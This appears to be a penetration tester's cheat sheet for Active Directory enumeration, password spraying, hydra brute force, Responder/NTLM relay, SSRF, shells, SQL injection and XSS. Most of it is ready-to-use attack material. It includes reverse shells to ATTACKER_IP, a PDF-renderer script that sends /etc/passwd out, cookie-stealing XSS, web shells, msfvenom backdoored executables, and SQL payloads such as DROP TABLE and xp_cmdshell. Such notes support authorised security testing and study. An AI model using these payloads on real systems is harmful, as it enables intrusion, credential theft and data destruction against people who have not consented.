# via enum4linux-ng (this uses RPC)
enum4linux-ng -U -u <USER> -p <PASSWORD> <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB (prefer nxc; sudo often required for SMB signing checks or specific dumps)
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> --users
# Find high value users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

# via DOS
net user /domain
# via PowerShell
([adsisearcher]"objectClass=user").FindAll().Properties.samaccountname

# Get Domain Users (feed into Kerbrute)
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object -ExpandProperty samaccountname | Foreach {$_.TrimEnd()} |Set-Content adusers.txt
Get-Content .\adusers.txt | select -First 10

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Password Policy

CRITICAL: Check lockout threshold before spraying.

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis > smb-cifs-rpc#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
nxc smb <TARGET> --pass-pol
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: If asking for the policy does not fit the assessment or the client does not want to provide it, run one, max two, password spraying attempts (regardless of internal/external) and wait over an hour between attempts if you do two.

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Filtering Passwords That Meet Policy

If using a pre-compiled or downloaded list, enforce the known password policy with grep:

# Ensure passwords 8+ chars
grep -E '^.{8,}$' <PASSFILE> > <NEWFILE>
# Must contain 1 upper case
grep -E '[A-Z]' <PASSFILE> > <NEWFILE>
# Must contain 1 lower case
grep -E '[a-z]' <PASSFILE> > <NEWFILE>
# Must contain 1 number
grep -E '[0-9]' <PASSFILE> > <NEWFILE>

Attack Execution

  • Brute-Force: 1 user, many passwords (alternates passwords) — risk of account lockout.
  • Spraying: many users, 1 password (alternates users) — no lockout risk; “hail Mary” to find any way in.

Best practice: Obtain account lockout policy beforehand (enum or customer). If unknown, wait a few hours between attempts so the lockout counter can reset.

SMB / WinRM Spraying

# SMB spraying (--continue-on-success to keep going after a hit)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --continue-on-success | grep '+'

# Local auth (local accounts instead of domain; LAPS mitigates)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

# via RPC (manual)
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

Kerberos Spraying

No auth logs generated (Kerberos Pre-Auth).

kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>

Windows (DomainPasswordSpray)

By default the script checks account logon policy and pulls users from the current domain (minus disabled). Use -UserList and -Domain to override.

wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Brute Force (Hydra)

Last resort for web forms, SSH, etc. (higher lockout risk than spraying.)

See more about… Hydra

Source: Docs > 9 - Notes > hydra

Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.

NOTE: use netexec for Windows AD environments instead

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file
hydra -x -h

# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set
-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET>

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms

HTTP-POST

Syntax: "/PATH:BODY:CONDITION=STRING"

  • Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
  • Use ^USER^ and ^PASS^ as placeholders in BODY
  • Condition String: hydra -U http-post-form
    • Important: you can only define S= OR F= - not both
    • F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
      • too many false positives means bad failure string
    • `S=<SUCCESS_STRING>
      • S=302 means a successful login due to an HTTP 302 page forward redirect

Check with -dt1 for condition strings

# S=302 for login redirects (and no login error)
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an error
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V

HTTP Basic Auth

A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:

Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -V

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

  • Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
  • Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
  • Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
  • Output: Always use -o <OUTPUT_FILE> to save results for later analysis.

Protocol Poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y

Server-Side Request Forgery (SSRF)

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output — detect via out-of-band callback
SSRF → LFIServer (or its PDF renderer) reads file:// URIs
SSRF → RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF → LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.

Shells

Forward/Bind

# === TARGET: LISTENER ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<LISTEN_PORT>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

# === ATTACKER: CONNECT ===
nc -nv <TARGET> <LISTEN_PORT>

Callback/Reverse

# === ATTACKER: LISTENER ===
nc -lvnp <CALLBACK_PORT>

# === TARGET: CALLBACKS ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f

bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1'

# Must be ran from cmd.exe
powershell -nop --% -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

Msfvenom

  • stageless: names like shell_reverse_tcp
  • staged: names like shell_reverse_tcp
### Listener for reverse callbacks
sudo msfconsole -qx 'use exploit/multi/handler ; set payload <PAYLOAD> ; set lhost <TARGET> ; set lport <TARGET_PORT> ; run'

### Msfvenom commands
msfvenom -l payloads
msfvenom -l formats

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw -e php/base64  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/reverse_php LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > reverse_shell.php  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.php

# LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f elf > rev_shell.elf
msfvenom -p cmd/unix/reverse_python LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.py

# WINDOWS 32-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > rev_shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > nameoffile.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f asp > rev_shell.asp

# Java Web Shells
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > nameoffile.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f war > nameoffile.war

# BACKDOOR-ed EXECUTABLES
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5

Shell Upgrade

To be able to run commands like su, sudo, ssh, use command completion, and open a text editor if needed with other features as well…

# Best Upgrade
for i in python3 python python2 ; do command -v "$i" >/dev/null && "$i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done

export TERM=xterm-256color

CTRL+Z
stty raw -echo ; fg

Other Upgrades

script /dev/null -c /bin/bash

/bin/bash -i

find . -exec /bin/bash -p \; -quit

awk 'BEGIN {system("/bin/bash")}'

perl -e 'exec "/bin/bash";'

ruby -e 'exec "/bin/bash"'

vim -c ':!/bin/bash' -c ':qa!'

lua -e 'os.execute("/bin/bash")'

Resize Terminal Size

echo "MAKE SURE THIS IS RAN ON ATTACKER BOX FIRST, THEN...\n\nON TARGET SHELL:\nstty rows $(tput lines) columns $(tput cols)"

Socat Method

Setup

# Download and serve static socat (if needed)
wget -v https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
ip a ; sudo python3 -m http.server 80

wget http://<ATTACKER_IP>:80/socat -o /tmp/socat
chmod +x /tmp/socat

Encrypted:

# Generate key and cert (fill info randomly or leave blank)
openssl req -x509 -newkey rsa:2048 -keyout shell.key -out shell.crt -days 365 -nodes -batch -subj "/" && cat shell.key shell.crt > cert.pem

Linux

# ATTACKER (Listen):
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>

# LINUX TARGET (Connect Back):
nohup /tmp/socat tcp-connect:<ATTACKER_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane 2>&1 >/dev/null &

Encrypted:

# ATTACKER (Listen):
socat FILE:`tty`,raw,echo=0 OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 

# LINUX TARGET (Connect Back):
# (Upload socat first, same as standard shell)
/tmp/socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane OPENSSL:<ATTACKER_IP>:<PORT>,verify=0 

Windows

# ATTACKER (Listen):
socat tcp-listen:<PORT> -

# WINDOWS TARGET (Connect Back):
Invoke-WebRequest -uri http://<ATTACKER_IP>/socat.exe -outfile C:\\Windows\temp\socat.exe

C:\\Windows\temp\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:powershell.exe,pipes

Encrypted:

# ATTACKER (Listen):
socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 -

# WINDOWS TARGET (Connect Back):
# (Upload socat.exe first, same as standard shell)
C:\Windows\temp\socat.exe EXEC:powershell.exe,pipes OPENSSL:<ATTACKER_IP>:<PORT>,verify=0

SQL Injection

See more about… SQL

Source: Docs > 2 - Pre-Engagement > checklist#sql

SQL

If these steps fail, the target is likely not vulnerable via automation.

Phase 1: Injection & Tuning

  • Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
  • The Setup: Save request to req.txt. Mark injection point with *. (sqlmap -r req.txt --batch)
  • The Unlocker (Tuning): Logic (OR) or Brackets ()))) failing? (--level 5 --risk 3)
  • The Syntax Fix: SQLMap guessing wrong boundaries? (--prefix="')" - Match your Burp findings).
  • The Speedup: Time-based checks taking forever? (--technique=BEU - Force Boolean/Error/Union only).

Phase 2: Stability & Evasion

  • The Hallucination Fix: “2 letters off” or garbage data? (--string="SuccessMsg" or --text-only).
  • The Bypass: WAF blocking or 403s? (--random-agent --tamper=space2comment --skip-waf).

Phase 3: Loot & Shells

  • The Recon: Check privileges immediately. (--is-dba --current-db).
  • The Dump: Surgical extraction (Don’t dump the world). (-D <DB> -T <TABLE> -C <USER,PASS> --dump).
  • The Endgame (RCE): DBA is True? (--os-shell (Add --technique=E if empty) OR --file-write="shell.php").

Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.

  • --union-cols=X: Manually set column count (if SQLMap counts wrong).
  • --no-cast: Disable payload casting (Fixes specific DB errors).
  • --hex: Encode data extraction (Bypasses WAF filters on output).

SQLMap supports techniques BEUSTQ: Boolean blind (B), Error-based (E), Union (U), Stacked (S), Time-based blind (T), Inline (Q), plus Out-of-band (OOB) via DNS exfiltration. Use sqlmap -hh to list techniques.

Union Based SQLi

Direct data extraction by combining results from two queries.

Mechanics:

  1. Find Column Count: ORDER BY 1, ORDER BY 2… until error.
  2. Find Visible Columns: UNION SELECT 1, 2, 3, 4 (Check which numbers appear on screen).
  3. Extract Data: Replace visible number with database(), user(), or column name.
-- Get column count... start at 2 and iterate up
' ORDER BY 2-- -
-- MORE ROBUST since it will error on bad column sizes
' UNION SELECT 1,2-- -

-- Get current user and database
' UNION SELECT 1, user(), database(), 4 -- -
' UNION SELECT 1, user, database(), 4 FROM mysql.user -- -

-- Enumeration
' UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -
See more about… Union-based

Source: Docs > 9 - Notes > sqlmap#union-based

Union-based

Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)

sqlmap -u "<URL>" --technique=U --union-cols=5

Error Based SQLi

Force the database to dump data inside a verbose error message.

Mechanics: Intentionally break syntax or use functions that fail when passed specific strings, causing the DB to return the string (the flag) in the error.

-- MySQL (extractvalue)
' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-- -

-- MSSQL (Conversion Error)
' AND 1=(SELECT TOP 1 table_name FROM information_schema.tables)--
See more about… Error-based

Source: Docs > 9 - Notes > sqlmap#error-based

Error-based

Trigger DB errors that leak data inside the error message.

sqlmap -u "<URL>" --technique=E

Blind SQLi (Boolean)

Infer data by asking True/False questions. Content changes based on the answer.

Mechanics: If 1=1 (True) loads the page normally, and 1=2 (False) hides content, the target is vulnerable.

-- Verification
' AND 1=1-- -  (Page loads)
' AND 1=2-- -  (Content missing)

-- Data Extraction (Manual logic)
-- Is the first letter of user() 'a'?
' AND (SELECT substring(user(),1,1))='a'-- -
See more about… Blind Boolean

Source: Docs > 9 - Notes > sqlmap#blind-boolean

Blind Boolean

Infer data from whether the page content or behaviour changes (true vs false).

NOTE: careful this is a very unstable method that might require multiple runs or --no-cast

sqlmap -u "<URL>" --technique=B --level 5 --risk 3

Blind SQLi (Time)

Infer data by measuring response delay.

Mechanics: If the condition is True, the database sleeps. If the page takes ~10s to load, the injection succeeded.

-- MySQL
' AND (SELECT SLEEP(5))-- -

-- MSSQL
'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--
See more about… Blind Time

Source: Docs > 9 - Notes > sqlmap#blind-time

Blind Time

Infer data from response delays (e.g. SLEEP) when the condition is true.

sqlmap -u "<URL>" --technique=T

Stacked Queries SQLi

Append additional SQL statements after the vulnerable query (e.g. non-query statements or OS commands).

Mechanics: “Piggy-backing” — inject a second statement after the first (e.g. ; DROP TABLE users). Only works when the DB and driver allow multiple statements (e.g. MSSQL, PostgreSQL). SQLMap can use it for data retrieval (similar to time-based) or for non-query/OS execution when supported.

-- Example: second statement runs after the first
'; DROP TABLE users-- -
'; EXEC xp_cmdshell 'whoami'-- -
See more about… Stacked queries

Source: Docs > 9 - Notes > sqlmap#stacked-queries

Stacked queries

Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).

sqlmap -u "<URL>" --technique=S

Inline Queries SQLi

Embed a subquery inside the original query so the result is used in place.

Mechanics: The vulnerable app must use the result of a subquery in a way that lets you inject (e.g. SELECT (SELECT @@version) FROM ...). Less common than other types because the code structure has to match. SQLMap supports it when the injection point allows embedded queries.

-- Example: version in a subquery
SELECT (SELECT @@version) FROM ...
See more about… Inline queries

Source: Docs > 9 - Notes > sqlmap#inline-queries

Inline queries

Query embedded inside the original query; uncommon and app-dependent.

sqlmap -u "<URL>" --technique=Q

Out-of-Band (OOB) SQLi

Exfiltrate data via DNS/HTTP requests when output is completely invisible.

Mechanics: Force the DB to resolve a domain you control (interactsh). The data is prepended as the subdomain.

# 1. Start Listener
interactsh-client

# 2. Payload Construction (example domain: domain.com)
# Windows / MSSQL (xp_dirtree)
'; DECLARE @data varchar(1024); SELECT @data = (SELECT user_name()); EXEC('master..xp_dirtree "\\'+@data+'.domain.com\a"');--

# Linux / MySQL (secure_file_priv must be empty)
' SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.domain.com\\a'))-- -
See more about… Out-of-band

Source: Docs > 9 - Notes > sqlmap#out-of-band

Out-of-band

Exfiltrate via DNS or HTTP to a server you control when no output is visible.

sqlmap -u "<URL>" --dns-domain=<DOMAIN>

Web Exploitation

This page combines all web-related resources into one section for easy navegation.

See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Cross-site scripting (XSS)

Source: Docs > 5 - Exploitation > xss

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
